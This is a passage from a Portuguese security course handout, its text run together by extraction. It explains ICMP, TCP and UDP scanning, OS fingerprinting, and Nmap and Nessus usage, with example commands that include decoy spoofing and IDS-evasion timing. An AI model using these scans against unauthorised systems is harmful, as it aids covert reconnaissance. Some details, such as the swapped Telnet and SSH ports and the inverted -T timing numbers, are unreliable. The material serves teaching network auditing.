o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso 